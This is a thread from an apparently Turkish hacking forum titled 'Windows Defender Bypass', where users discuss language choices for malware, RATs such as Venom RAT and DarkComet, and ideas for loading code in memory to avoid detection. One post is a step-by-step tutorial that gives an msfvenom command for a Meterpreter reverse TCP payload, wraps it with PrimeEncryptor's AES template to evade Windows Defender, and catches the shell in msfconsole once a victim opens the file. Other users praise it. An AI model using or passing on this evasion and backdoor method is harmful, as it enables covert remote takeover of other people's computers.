Windows Defender Bypass

[Jusstthe]

Bide şu ozelligi çok hoş .net diller yardımcı gerekir çalıştırmak için ama o gerektirmiyor cat actiriyor pc de hiç bisey olmasa

Windows'larda dotnet framework 4.8 hazır geliyor. Birçok malware için yeter de artar bile

C++ aplikasyonlarını her durumda tek tıklamayla çalıştıramıyorsun. External bağımlılıklar varsa uygulamayı self-contained olarak servis etmen, yani o bağımlılıkları linklemen gerekiyor, bunun dezavantajı da çalıştırılabilir dosya boyutunun büyümesi.

Malware geliştiricileri genelde sürüm ve platformdan bağımsız, gerekliyse deprecated kitaplıkların kullanıldığı malware ortaya çıkarmaya çalışır

 

[Slayer911]

dinlemeye alınmıyor

sorunu tam olarak nerde aldiniz

 

[EXOLAB]

Windows'larda dotnet framework 4.8 hazır geliyor. Birçok malware için yeter de artar bile

C++ aplikasyonlarını her durumda tek tıklamayla çalıştıramıyorsun. External bağımlılıklar varsa uygulamayı self-contained olarak servis etmen, yani o bağımlılıkları linklemen gerekiyor, bunun dezavantajı da çalıştırılabilir dosya boyutunun büyümesi.

Malware geliştiricileri genelde sürüm ve platformdan bağımsız, gerekliyse deprecated kitaplıkların kullanıldığı malware ortaya çıkarmaya çalışır

Konu güzel olmuş eski tht'nin güncel teknolojinin hâli ile hissini aldım diyebilirim. Evet external bağımlılıklar yüktür ve yakalanma riskini artırır. Bu vakit native dil daha iyi olur demek olabilir yine.
Şu sıralar exeyi bytelama, ve belli noktaları kendi içindeki bağları kopararak, gerektiğinde loadlayıp(byte ile) iş görüldüğünde unload ettiren bir proje düşünüyorum. Bunu yapan yaklaşık 20kblik vb6 ile yazdığım payload benzeri bir exe yönetiyor ancak, bellek loadlama ve sistem dosyasına inject de başlı başına yakalanma sebebi, şayet herhangi bir exeye inject olmadan bellekte rastgele şişirtebilirsek iş değişir. Öyle işte. Fikir çok da denemeye vakit yok.

 

[BlackDynamite]

Windows'larda dotnet framework 4.8 hazır geliyor. Birçok malware için yeter de artar bile

C++ aplikasyonlarını her durumda tek tıklamayla çalıştıramıyorsun. External bağımlılıklar varsa uygulamayı self-contained olarak servis etmen, yani o bağımlılıkları linklemen gerekiyor, bunun dezavantajı da çalıştırılabilir dosya boyutunun büyümesi.

Malware geliştiricileri genelde sürüm ve platformdan bağımsız, gerekliyse deprecated kitaplıkların kullanıldığı malware ortaya çıkarmaya çalışır

Örnek vereyim size windows 7 pc lerde bazen venom rat arayuzu bile acilmiyor ve venom rat c# ile yazıldı ama darkcomet banamjsin demiyor delphi native dil

 

[gfx_25]

Yakında patch yer. Bu tip exploitlerin ömrü çok uzun olmuyor. Microsoft mühendisleri bu konuda çok sağlam çalışıyorlar.

 

[raidenhan]

Merhaba, bugün sizlere PrimeEncryptor aracını kullanarak Windows Defender'ı nasıl aşabileceğinizi göstereceğim.
Hazırsanız başlayalım

Öncelikle aracı sanal makinemize kuralım.

Dosyanın içerisine girerek CodeSnippets içerisindeki AES dosyasını PrimeEncryptor'a kopyalıyoruz.

Daha sonra MsfVenom aracını kullanarak bir arka kapı dosyası oluşturuyoruz.

Payload üretmek için kullanılan komut ---> msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<LOCAL HOST> LPORT=4444 -f raw > payload.bin

AES.cpp dosyasında bazı değişiklikler yapmamız gerekiyor, bu yüzden dosyayı açıp değişiklikleri yapıyoruz.

İlk yorum kısmını silin ve altındaki diğer yorum kısmını yorumdan kaldırın.

ilk bölüm (bölümü sil)

Yorumun içindeki yorum kısmını kaldır.

Daha sonra Kaydedip Çıkın.
Python kodunu çalıştırdığımızda açılan kodda bize verilen kodları çalıştıralım.

Çerçevelediğimiz yeri kopyalayıp terminale yapıştırıyoruz

ip ve portu dinlemek için msfconsol kullanıcaz.

Hedef sistemdeki kişi dosyamızı açtığı zaman, shell bize geliyor.

Windows Defender tehdit hakkında herhangi bir uyarı vermez. Bu şekilde Windows Defender'ı atlatırız

Okuduğunuz için teşekkür ederim.

eline saglik ustat

 

[Slayer911]

eline saglik ustat

 

[Jusstthe]

Örnek vereyim size windows 7 pc lerde bazen venom rat arayuzu bile acilmiyor ve venom rat c# ile yazıldı ama darkcomet banamjsin demiyor delphi native dil

O, Venom RAT'ı yazan elemanın iş bilmezliğidir. Zaten o proje başka RAT'ların çatalı